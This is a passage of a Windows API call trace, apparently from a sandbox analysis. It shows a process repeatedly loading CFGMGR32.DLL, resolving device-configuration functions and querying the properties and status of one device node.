_Dst=0x2dc22fd058) returned 0x2dc22fd058 [0237.343] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0237.344] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c970) returned 1 [0237.344] malloc (_Size=0xd8) returned 0x20abc284e70 [0237.344] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0237.345] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0237.345] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0237.345] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0237.345] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0237.345] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0237.346] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0237.346] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0237.346] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0237.346] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0237.346] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0237.346] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0237.346] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0237.347] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0237.347] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0237.347] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0237.347] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0237.347] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0237.347] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0237.347] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0237.348] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0237.348] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0237.348] malloc (_Size=0x18) returned 0x20abc281960 [0237.348] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2a, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0237.352] malloc (_Size=0x48) returned 0x20abc27cb20 [0237.352] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x493db330, dwHighDateTime=0x1d9eb0c)) [0237.352] SetEvent (hEvent=0x248) returned 1 [0237.357] malloc (_Size=0xd8) returned 0x20abc284e70 [0237.357] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0237.357] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0237.358] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0237.358] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0237.358] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0237.358] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0237.358] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0237.358] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0237.358] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0237.358] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0237.359] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0237.359] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0237.359] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0237.359] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0237.359] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0237.359] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0237.359] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0237.360] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0237.360] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0237.360] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0237.360] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0237.360] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0237.360] malloc (_Size=0x18) returned 0x20abc281c80 [0237.361] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2a, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0237.361] malloc (_Size=0x48) returned 0x20abc27cb20 [0237.361] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x493db330, dwHighDateTime=0x1d9eb0c)) [0237.361] SetEvent (hEvent=0x248) returned 1 [0237.367] malloc (_Size=0xd8) returned 0x20abc284e70 [0237.368] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0237.374] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0237.374] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0237.374] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0237.374] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0237.375] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0237.375] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0237.375] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0237.375] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0237.375] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0237.376] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0237.376] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0237.376] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0237.376] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0237.377] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0237.377] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0237.377] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0237.377] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0237.378] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0237.378] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0237.378] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0237.378] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0237.379] malloc (_Size=0x18) returned 0x20abc282000 [0237.380] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2a, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0237.380] malloc (_Size=0x48) returned 0x20abc27cf80 [0237.380] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4940817a, dwHighDateTime=0x1d9eb0c)) [0237.381] SetEvent (hEvent=0x248) returned 1 [0237.385] malloc (_Size=0xd8) returned 0x20abc284e70 [0237.385] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0237.385] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0237.385] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0237.385] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0237.386] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0237.386] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0237.386] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0237.386] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0237.386] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0237.386] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0237.386] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0237.387] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0237.387] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0237.387] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0237.387] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0237.387] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0237.387] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0237.387] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0237.388] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0237.388] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0237.388] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0237.388] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0237.388] malloc (_Size=0x18) returned 0x20abc281c20 [0237.389] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2a, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0237.389] malloc (_Size=0x48) returned 0x20abc27cb20 [0237.389] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x49427843, dwHighDateTime=0x1d9eb0c)) [0237.389] SetEvent (hEvent=0x248) returned 1 [0237.452] malloc (_Size=0xd8) returned 0x20abc284e70 [0237.452] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0237.452] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0237.452] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0237.453] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0237.453] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0237.453] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0237.453] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0237.453] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0237.454] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0237.454] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0237.454] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0237.454] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0237.454] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0237.454] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0237.455] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0237.455] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0237.455] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0237.455] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0237.455] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0237.455] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0237.455] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0237.456] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0237.456] malloc (_Size=0x18) returned 0x20abc281e20 [0237.456] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2a, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0237.458] malloc (_Size=0x48) returned 0x20abc27cb20 [0237.458] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x494c0ff9, dwHighDateTime=0x1d9eb0c)) [0237.459] SetEvent (hEvent=0x248) returned 1 [0237.463] malloc (_Size=0xd8) returned 0x20abc284e70 [0237.463] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0237.464] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0237.464] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0237.464] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0237.464] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0237.464] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0237.464] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0237.464] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0237.465] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0237.465] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0237.465] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0237.465] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0237.465] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0237.465] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0237.466] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0237.466] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0237.466] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0237.466] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0237.466] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0237.466] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0237.467] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0237.467] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0237.467] malloc (_Size=0x18) returned 0x20abc281960 [0237.468] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x2a, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0237.468] malloc (_Size=0x48) returned 0x20abc27cb20 [0237.468] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x494e62ad, dwHighDateTime=0x1d9eb0c)) [0237.468] SetEvent (hEvent=0x248) returned 1 [0237.474] malloc (_Size=0xd8) returned 0x20abc284e70 [0237.474] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0237.474] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0237.474] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0237.474] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0237.474] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0237.475] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0237.475] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0237.475] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0237.476] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0237.476] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0237.476] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0237.476] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0237.476] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0237.476] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0237.476] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0237.477] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0237.477] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0237.477] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0237.477] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0237.477] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0237.477] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0237.477] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0237.478] malloc (_Size=0x18) returned 0x20abc281ec0 [0237.478] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x2a, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0237.478] malloc (_Size=0x48) returned 0x20abc27cb20 [0237.478] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x4950ce7b, dwHighDateTime=0x1d9eb0c)) [0237.479] SetEvent (hEvent=0x248) returned 1 [0237.483] malloc (_Size=0xd8) returned 0x20abc284e70 [0237.483] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0237.483] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0237.483] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0237.483] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0237.483] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0237.484] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0237.484] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0237.484] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0237.484] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0237.484] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0237.484] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0237.485] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0237.485] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0237.485] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0237.485] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0237.485] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0237.485] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0237.485] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0237.486] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0237.486] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0237.486] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0237.486] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0237.486] malloc (_Size=0x18) returned 0x20abc281a80 [0237.487] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2a, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0237.487] malloc (_Size=0x48) returned 0x20abc27cb20 [0237.487] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4950ce7b, dwHighDateTime=0x1d9eb0c)) [0237.487] SetEvent (hEvent=0x248) returned 1 [0237.545] malloc (_Size=0xd8) returned 0x20abc284e70 [0237.545] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) 